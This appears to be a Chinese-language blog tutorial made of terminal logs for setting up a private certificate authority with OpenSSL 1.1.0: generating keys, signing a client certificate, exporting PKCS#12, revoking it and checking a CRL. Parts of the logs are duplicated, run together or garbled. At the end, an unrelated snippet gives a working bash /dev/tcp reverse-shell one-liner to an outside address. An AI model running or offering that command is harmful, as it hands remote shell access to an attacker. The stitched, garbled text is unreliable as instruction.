cd openssl-1.1.0
./config
make
-rw-rw-r-- 1 key1088 key1088 911 9月 4 13:49 x509.d
-rwxrwxr-x 1 key1088 key1088 680616 9月 4 13:49 openssl
-rwxrwxr-x 1 key1088 key1088 6755 9月 4 13:50 CA.pl
-rwxrwxr-x 1 key1088 key1088 6613 9月 4 13:50 tsget
key1088@key1088-host:/openssl-1.1.0/apps$ ./openssl version
./openssl: error while loading shared libraries: libssl.so.1.1: cannot open shared object file: No such file or directory
key1088@key1088-host:
key1088@key1088-host:
key1088@key1088-host:
mkdir -p CA/private
key1088@key1088-host:/openssl-1.1.0$ (umask 077;./apps/openssl genrsa -out CA/private/cakey.pem 2048)
Generating RSA private key, 2048 bit long modulus
.................................+++
..........+++
unable to write 'random state'
e is 65537 (0x010001)
key1088@key1088-host:
key1088@key1088-host:
Generating RSA private key, 2048 bit long modulus
.................................+++
.....................................................................................+++
e is 65537 (0x010001)
mkdir etc
cp apps/openssl.cnf etc
key1088@key1088-host:~/openssl-1.1.0$ diff etc/openssl.cnf apps/openssl.cnf
42c42
< dir = ./CA # Where everything is kept
dir = ./demoCA # Where everything is kept
129c129
< countryName_default = CN
countryName_default = AU
134c134
< stateOrProvinceName_default = BJ
stateOrProvinceName_default = Some-State
139c139
< 0.organizationName_default = key1088.info
0.organizationName_default = Internet Widgits Pty Ltd
151c151
< emailAddress = key1088@163.com
emailAddress = Email Address
根据密钥生存证书
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl req -new -x509 -key CA/private/cakey.pem -out CA/cacert.pem -days 1000 -config etc/openssl.cnf You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [CN]: State or Province Name (full name) [BJ]: Locality Name (eg, city) []: Organization Name (eg, company) [key1088.info]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []:key1088 key1088@163.com []:
CA/serial3.生成客户端证书,也称为节点证书。key1088@key1088-host:/openssl-1.1.0$ (umask 077;./apps/openssl genrsa -out CA/client/c01.key 2048)Generating RSA private key, 2048 bit long modulus............+++................................................................................................+++e is 65537 (0x10001)key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl req -new -key CA/client/c01.key -out CA/client/c01.csr -config etc/openssl.cnfYou are about to be asked to enter information that will be incorporatedinto your certificate request.What you are about to enter is what is called a Distinguished Name or a DN.There are quite a few fields but you can leave some blankFor some fields there will be a default value,If you enter '.', the field will be left blank.">创建CA服务器所需文件
key1088@key1088-host:/openssl-1.1.0$ touch CA/{index.txt,serial}
key1088@key1088-host:/openssl-1.1.0$ ls -l CA/
总用量 8
-rw-rw-r-- 1 key1088 key1088 1176 9月 4 14:07 cacert.pem
-rw-rw-r-- 1 key1088 key1088 0 9月 4 14:09 index.txt
drwxrwxr-x 2 key1088 key1088 4096 9月 4 13:57 private
-rw-rw-r-- 1 key1088 key1088 0 9月 4 14:09 serial
证书序号开始值设置
key1088@key1088-host:/openssl-1.1.0$ echo "01" > CA/serial
3.生成客户端证书,也称为节点证书。
key1088@key1088-host:/openssl-1.1.0$ (umask 077;./apps/openssl genrsa -out CA/client/c01.key 2048)
Generating RSA private key, 2048 bit long modulus
............+++
................................................................................................+++
e is 65537 (0x10001)
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl req -new -key CA/client/c01.key -out CA/client/c01.csr -config etc/openssl.cnf
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
key1088@key1088-host:
key1088@key1088-host:
总用量 8
-rw-rw-r-- 1 key1088 key1088 1176 9月 4 14:07 cacert.pem
-rw-rw-r-- 1 key1088 key1088 0 9月 4 14:09 index.txt
drwxrwxr-x 2 key1088 key1088 4096 9月 4 13:57 private
-rw-rw-r-- 1 key1088 key1088 0 9月 4 14:09 serial
key1088@key1088-host:
key1088@key1088-host:/openssl-1.1.0$ (umask 077;./apps/openssl genrsa -out CA/client/c01.key 2048)
Generating RSA private key, 2048 bit long modulus
............+++
................................................................................................+++
e is 65537 (0x10001)
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl req -new -key CA/client/c01.key -out CA/client/c01.csr -config etc/openssl.cnf
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [CN]:
State or Province Name (full name) [BJ]:
Locality Name (eg, city) []:
Organization Name (eg, company) [key1088.info]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:c01 #此处不能和CA中的名称相同
key1088@163.com []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:1234
An optional company name []:1234
4.部署到CA中
mkdir -p CA/newcerts key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl ca -in CA/client/c01.csr -out CA/client/c01.crt -days 1000 -config etc/openssl.cnf Using configuration from etc/openssl.cnf Can't open ./CA/index.txt.attr for reading, No such file or directory 140399448418048:error:02001002:system library:fopen:No such file or directory:crypto/bio/bss_file.c:74:fopen('./CA/index.txt.attr','r') 140399448418048:error:2006D080:BIO routines:BIO_new_file:no such file:crypto/bio/bss_file.c:77: Check that the request matches the signature Signature ok Certificate Details: Serial Number: 1 (0x1) Validity Not Before: Sep 4 06:58:17 2016 GMT Not After : Jun 1 06:58:17 2019 GMT Subject: countryName = CN stateOrProvinceName = BJ organizationName = key1088.info commonName = c01 X509v3 extensions: X509v3 Basic Constraints: CA:FALSE Netscape Comment: OpenSSL Generated Certificate X509v3 Subject Key Identifier: AB:F4:CB:4F:13:28:F8:5D:A7:DB:A0:E3:F3:52:86:C1:25:D1:EB:A0 X509v3 Authority Key Identifier: keyid:68:82:F2:71:02:9C:92:00:F4:05:72:30:24:97:6B:80:2E:69:AF:EA Certificate is to be certified until Jun 1 06:58:17 2019 GMT (1000 days) Sign the certificate? [y/n]:y 1 out of 1 certificate requests certified, commit? [y/n]y Write out database with 1 new entries Data Base Updated key1088@key1088-host:~/openssl-1.1.0$ du -a CA/ 8 CA/newcerts/01.pem #自动生成的PEM文件,按照序号命名 12 CA/newcerts 4 CA/private/cakey.pem 8 CA/private 4 CA/serial 4 CA/serial.old 0 CA/index.txt.old 4 CA/cacert.pem 4 CA/index.txt 8 CA/client/c01.crt #生成的证书 4 CA/client/c01.key 4 CA/client/c01.csr 20 CA/client 4 CA/index.txt.attr 64 CA/
openssl自带的样例:
openssl-1.1.0/apps/demoCA/下面的内容
5.转换给pfx格式(可选)
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl pkcs12 -export -clcerts -in CA/client/c01.crt -inkey CA/client/c01.key -out CA/client/c01.pfx Enter Export Password: #12345678 Verifying - Enter Export Password: #同上
pfx文件包含数字签名证书和私钥,可以进行密钥转移,也可以导入到浏览器中查看。
6.验证证书是否正确
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl verify -CAfile CA/cacert.pem CA/client/c01.crt CA/client/c01.crt: OK
吊销证书
1.查看客户端证书序号
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl x509 -in CA/client/c01.crt -noout -serial -subject serial=01 subject=C = CN, ST = BJ, O = key1088.info, CN = c01
2.吊销证书
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl ca -revoke CA/newcerts/01.pem -config etc/openssl.cnf Using configuration from etc/openssl.cnf Revoking Certificate 01. Data Base Updated
3.生成吊销列表
key1088@key1088-host:~/openssl-1.1.0$ echo "01" > CA/crlnumber key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl ca -gencrl -out CA/all.crl -config etc/openssl.cnf Using configuration from etc/openssl.cnf
4.查看吊销
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl crl -in CA/all.crl -noout -text Certificate Revocation List (CRL): Version 2 (0x1) Signature Algorithm: sha256WithRSAEncryption Issuer: /C=CN/ST=BJ/O=key1088.info/CN=key1088 Last Update: Sep 4 07:37:17 2016 GMT Next Update: Oct 4 07:37:17 2016 GMT CRL extensions: X509v3 CRL Number: 1 Revoked Certificates: Serial Number: 01 Revocation Date: Sep 4 07:34:48 2016 GMT Signature Algorithm: sha256WithRSAEncryption a7:98:6c:8f:77:d2:52:6a:57:eb:27:75:6f:17:eb:3c:30:19: 78:bb:4f:77:aa:94:74:28:e5:7a:05:38:8d:03:6c:7c:8f:63: de:a9:fd:d3:ed:77:70:7d:24:9a:b9:da:42:05:9b:d1:73:92: 6c:0c:13:88:16:16:d7:e1:4f:6f:62:90:8a:11:b1:c5:b7:80: c8:6c:76:e5:d2:eb:a9:f4:ee:da:85:56:9e:f2:97:02:43:ef: 3d:ea:77:af:5b:f1:ed:4b:39:c7:7e:9c:22:62:91:ee:17:30: 10:d2:49:82:9a:0d:9c:0c:ad:63:1e:cb:30:33:f0:5f:55:dc: b6:6c:70:61:82:ba:e0:d3:98:96:f3:3d:8b:0c:02:0d:fd:ac: 61:e5:24:46:a0:52:94:05:f4:a9:a8:8b:25:40:db:a4:e5:58: 4f:bd:37:1d:44:87:f1:3f:f9:06:d5:47:aa:0c:8f:1e:ba:d6: 99:ef:f7:77:e0:af:05:a3:08:78:06:0f:e2:6a:a4:cd:ac:1a: 45:d3:18:9a:18:25:ee:c3:7b:66:51:77:52:64:5e:4a:81:9e: 84:be:16:bc:da:7d:83:7b:49:d1:5a:0f:4f:02:e4:fa:fb:80: 53:7f:7f:72:02:17:31:25:c6:6e:cc:1e:4f:7e:9c:f4:ae:d1: 85:a2:6a:d6 key1088@key1088-host:~/openssl-1.1.0$ cat CA/serial 03 key1088@key1088-host:~/openssl-1.1.0$ cat CA/crlnumber 02 key1088@key1088-host:~/openssl-1.1.0$ cat CA/index.txt R 190601065817Z 160904073448Z 01 unknown /C=CN/ST=BJ/O=key1088.info/CN=c01 V 190601073145Z 02 unknown /C=CN/ST=BJ/O=key1088.info/CN=c02 key1088@key1088-host:~/openssl-1.1.0$ cat CA/index.txt.old V 190601065817Z 01 unknown /C=CN/ST=BJ/O=key1088.info/CN=c01 V 190601073145Z 02 unknown /C=CN/ST=BJ/O=key1088.info/CN=c02
5.验证吊销的证书和正常使用的证书
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl verify -crl_check -CRLfile CA/all.crl -CAfile CA/cacert.pem CA/client/c01.crt C = CN, ST = BJ, O = key1088.info, CN = c01 error 23 at 0 depth lookup: certificate revoked error CA/client/c01.crt: verification failed
再新生成一个02的证书验证一下,验证结果。
key1088@key1088-host:~/openssl-1.1.0$ ./apps/openssl verify -crl_check -CRLfile CA/all.crl -CAfile CA/cacert.pem CA/client/c02.crt
CA/client/c02.crt: OK
参考文章:
http://www.yunweipai.com/archives/4513.html%20r
http://raymii.org/s/articles/OpenSSL_manually_verify_a_certificate_against_a_CRL.html
linux shell下命令反弹shell,tcp连接
exec 9<> /dev/tcp/1.1.1.1/20239;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i